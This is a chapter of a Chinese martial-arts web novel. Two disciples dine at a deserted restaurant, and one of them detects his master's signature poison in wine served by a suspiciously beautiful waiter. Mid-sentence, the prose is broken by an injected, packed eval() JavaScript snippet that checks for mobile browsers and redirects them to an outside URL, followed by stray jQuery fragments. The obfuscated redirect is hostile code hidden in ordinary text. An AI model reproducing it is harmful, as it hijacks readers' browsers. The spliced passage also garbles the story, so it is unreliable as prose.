“诶呦——”章予揉着被撞疼的肩膀,低头去看,一个扎着双马尾的女孩正坐在地上,手里攥着的糖葫芦杆子歪倒在一边,几颗红艳艳的山楂骨碌碌滚进了路边的尘土里。
“对不起对不起!”章予慌忙蹲下身,一边帮小女孩捡散落的糖葫芦,一边连声道歉,“我在找人,没看路,撞疼你了吗?”
小女孩拍拍屁股站起来,说着“没事没事”。她抬头看章予,忽而愣住,盯了好一会儿,才说:“姐姐,你和刚刚找我买糖葫芦的一个哥哥肤色好像哦,都有点像是鬼。”
章予捡山楂的手猛地一顿。
像是鬼的人,皮肤白得如同死灰的人......她心中有了预感,自己一天一夜的找寻,或许是有结果了。
她抬起头,双手握住小女孩的肩膀,急切地问她:“你说的人,是不是生得极好看,穿着一袭粉衣,手中拿着一把写着‘风流倜傥’的扇子?”
小女孩歪着头想了想,用力点点头:“对对对!就是那个哥哥,他还多给了我几文钱,说不用找了呢。”
骤然听闻无尘消息,章予却并不觉得轻松。相反的,她竟感到紧张,紧张到胸口发闷,胃像是被手掌攥着,阵阵发疼。
她迟迟没有说话,直到掌心传来湿润的触感,山楂果肉已经破损,汁水顺着指缝渗了出来,她才回过神来,深吸一口气,问道:“他往哪个方向走了?”
女孩不理解她为什么忽然有这么大的反应,但还是乖乖伸手指了指街角:“那边。”
章予顺着女孩指尖看过去,站起身,道一声谢,朝那个方向追了过去。
跑了没几步,她又猛地刹住脚,回过头来,把那几颗沾了灰的山楂塞回小女孩手里,又摸出一块银子放在她掌心:“赔你的。”
女孩低头抬头间,章予已经消失在了街角。
小女孩捧着银子和沾了灰的糖葫芦,愣愣地站在原地,好半天才嘟囔了一句:“这个姐姐......跑得可真快呀,和刚才那个哥哥一样,嗖一下就没影了。”
城西,望月楼。
这家馆子藏在一条不起眼的小巷深处,门脸也不甚气派,但据说却是整个小城最正宗的菜馆。
摘星楼的厨子听说贵客鸥千瑜要来着边陲小城,特地告诉她,这望月楼的厨子祖上给宫里当过御厨,这里的菜每一道都有讲究,别看小城名不见经传,人口也不多,来这里吃饭也得提前三天预约。
当然,云敛和鸥千瑜是没有预约的。
但这有什么关系呢?将年乌衣给二人的令牌摆出来,什么规矩就都不用管了。
“就是这儿?”鸥千瑜站在门口,把那张手绘的地图看了又看,“这破门脸,还没我家马厩气派呢。”
云敛不愿与这大小姐探讨马厩,抬脚跨过门槛。
店里确实不大,统共也就五六张桌子,这会儿正是饭点,却空空荡荡的,一个人都没有。
两人挑了个靠窗的位置坐下,鸥千瑜把那张攻略往桌上一拍,扯着嗓子喊:“店小二呢?来客人了!”
没人应。
“店小二?”云敛也喊。
还是没人应。
云敛皱了皱眉,正要再开口,就听鸥千瑜阻止:“算了,说不定人家店小二太忙呢,”
她话锋一转,凑近云敛说:“你说师父最近是不是越来越魂不守舍了?上回差点把我的药膳当成茶水喝了,那药膳可是我专门让厨房炖了两个时辰的,补得很,他就那么端着杯子往嘴里倒,幸好我眼疾手快给抢下来了。”
云敛叹了口气:“你也发现了?”
“废话,我又不瞎。”鸥千瑜托着腮,“是不是因为上次见到了那个把章予救走的人?”
云敛沉默了一会儿,低声道:“我也是这么觉得的”
“师父的表情太明显了。”鸥千瑜做出夸张的撇嘴表情,“你说那个人到底是不是殷默?”
云敛没有立刻回答。
他望着窗外灰扑扑的街景,好一会儿才说:“你希望她是,还是不是?”
鸥千瑜想了想,难得露出几分认真的神色:“我觉得不是更好吧。你看啊,咱们现在多好,位高权重的,谁也不敢得罪咱们。虽然师父有时候是凶了点,但总体上还是挺好的。”
想起那个神秘人头也不回的样子,鸥千瑜摇一摇头,“如果真的是的话,师父把殷默心爱的徒弟杀掉了,写在话本里,那得从此决裂永不相见吧?”
云敛苦笑了一下:“是啊。”
两人沉默了片刻。
鸥千瑜忽然一拍桌子:“不想了不想了,这种事让师父自己烦去,咱们是来吃饭的!”
她又扯着嗓子喊起来,“店小二!店小二呢!再不来人我可要把你们店拆了啊!”
云敛看着她,眉心微动,实在想不通刚刚善心大发体谅店小二难处的鸥千瑜哪里去了。
只是这回果真将店小二唤出来了。后厨的帘子一挑,一个人端着托盘走了出来。
“来了来了,客官莫急——”
云敛下意识地抬头看去,然后愣住了。
来人穿着一身青灰色的布衣,是再寻常不过的店小二打扮,腰间系着块泛白的围裙,袖口挽到小臂,露出一截白得有些过分的手腕。
小店里面的店小二,但肤白胜雪,眉目如画,五官精致得像是雕刻出来的塑像,又画着极其艳丽繁复的妆容,在这不算太华贵的店面里面,实在是格格不入,倒像是话本里写的那些山精野怪化成了人形,盛极近妖。
云敛在皇宫中十几年,都不曾见过这样好看的女子。他本来已经觉得鸥千瑜是世间最好看的女子了,见了此人,他才觉得天下绝色,莫过于此。
只是,云敛歪一歪头,这女子看起来怎么有点眼熟?
一旁鸥千瑜也上上下下把这人看了好几遍,终于没忍住问:“你不会是魅宗的吧?”
店小二愣了一下,随即笑了起来,笑得眉眼弯弯,倒是比刚才那副皮笑肉不笑的样子顺眼多了:“客官莫要打趣我,这荒郊野岭的,魅宗之人哪会来呢?”
鸥千瑜想想也对,魅宗那些人眼高于顶,一个个恨不得攀龙附凤,最瞧不上这种小地方,怎么可能跑来当店小二。
她点点头,把这事揭过去了,毫不客气道:“有什么好菜?都上来都上来,把你们这儿最好吃的统统端上来!”
店小二应和着,将手中的托盘放到桌上,是一壶酒和几只青瓷酒杯。
他一边斟酒一边说:“这是我们店里最特色的花酿,用山上采的野花酿的,一年也出不了几坛。今日生意不好,也没别的客人,这壶就赠予两位客官尝尝吧。”
“真的?”鸥千瑜眼睛一亮,拍着云敛的肩膀,“好耶,占便宜了!”
云敛斜她一眼:“你钱多得能买下霄安一半的酒楼了,这点便宜就让你这么高兴?”
鸥千瑜理直气壮:“再有钱也要占便宜啊!你又不是不知道我,摘星楼开业那会儿说是消费满一万两就能永久免费停马车,我当时就冲进去消费了一万两呢!”
店小二趁着两人斗嘴的功夫,已经把酒斟好了,青瓷杯里盛着淡粉色的酒液,隐隐能闻到一股清甜的花香。
他把酒壶放下,微微躬身:“两位稍坐,我去后厨备菜。”
“等等。”云敛叫住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231960|189445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他,“这店不是挺有名气的吗?怎么只有你一个人?”
店小二回过头来,叹了口气,一副一言难尽的样子:“客官有所不知,今日摄政王来城里了。据说这摄政王长得一表人才,更是家财万贯,坐拥高官厚禄,至今仍未婚配。虽然人品不咋地,但是若是把自己女儿许配给他,那就是一步登天平步青云了。所以掌柜的带着自己女儿风风火火地就去了,留我一个人看店。”
云敛和鸥千瑜始料未及,完全意料之外,只得面面相觑。
“摄政王?”鸥千瑜试探着问,“我师……咳,这摄政王都年近半百了吧?掌柜女儿今年芳龄几何?”
店小二垂着眼睛说:“今年刚满十八岁。”
鸥千瑜大惊:“这不对吧,差着辈儿呢!”
店小二面无表情:“掌柜还说了,若是摄政王看不上他女儿,把自己许给摄政王也行。”
云敛一口茶水差点喷出来,被他强行咽回去,此时不住地咳嗽,满面通红。
鸥千瑜在旁边笑得直拍桌子:“不是,这掌柜她多大岁数了,有五十了吗?”
店小二幽幽地说:“掌柜说了,摄政王至今未婚,身边又没什么年轻女眷,说不定就好这口呢。”
云敛觉得自己听到了人生中最好笑的笑话。他试图用手去遮挡抽搐的嘴角,可越挡越想笑,越想笑就越挡不住,最后整个人都在抖,他只得端起面前的酒杯,想喝口酒压一压。
只是他刚把酒杯凑到鼻端,动作就僵住了。
在年乌衣身边闻了十几年的毒酒,下了十几年的毒,又拜入五水道长门下学了快一年的毒术,云敛对天下五花八门的毒药可谓是无所不知无所不晓。什么鹤顶红、断肠散、三步倒、含笑半步癫,他闭着眼睛都能闻出来。
尤其是这种毒。
这种年乌衣特别喜欢让他下的毒,他早已谙熟于心。无色无味是毒药的最高境界,但这种毒偏偏反其道而行之,带着一股若有若无的甜香,混在酒酿里几乎分辨不出来。也正因为如此,它才更加防不胜防。
连五水道长恐怕都对这种毒并不熟悉。因为这药,本来就是年乌衣独创的,叫“古道马”。
取自一句古诗,“古道西风瘦马,夕阳西下,断肠人在天涯”。
中了此毒的人,会先觉得四肢发软,然后五脏六腑像是被什么东西绞着一样疼,最后经脉寸断、武功尽失,所谓断肠人在天涯。
云敛端着酒杯的手微微发颤,后背一瞬间沁出了冷汗。
那边鸥千瑜打趣起店小二:“我说这掌柜不懂事,应该带你去的。”
店小二不答话,只鸥千瑜一个人笑了许久,她终于觉得有些尴尬了,咳了一声,端起自己的酒杯就要往嘴边送——
“别喝!”
云敛忽然大喝一声,鸥千瑜被吓得手一抖,就见自己手中的酒杯被云敛打掉在地。
瓷杯碎裂,瓷渣四溅,淡粉色的酒液洒了一地,洇湿了两人的鞋面。
鸥千瑜愣愣地看着地上的碎瓷,又愣愣地看向云敛:“你干嘛,一杯酒都不舍得让我喝?又不是你家的——”
话没说完,云敛已经拔剑而起,指着那不慌不忙的店小二。
鸥千瑜并不蠢笨,只是因为向来多疑的云敛在身边,她也就放松了许多。
而此时云敛抬眸蹙眉,神色晦暗,剑锋死死地抵在店小二脖颈旁边,她立刻就明白了,这酒水恐怕有问题。
她在心中长叹一口气,倒不是劫后余生的庆幸,主要是对于“天下没有免费的午餐”的感慨与失落。
果然,她听云敛厉声问道:“你是何人,为何在酒里下毒?"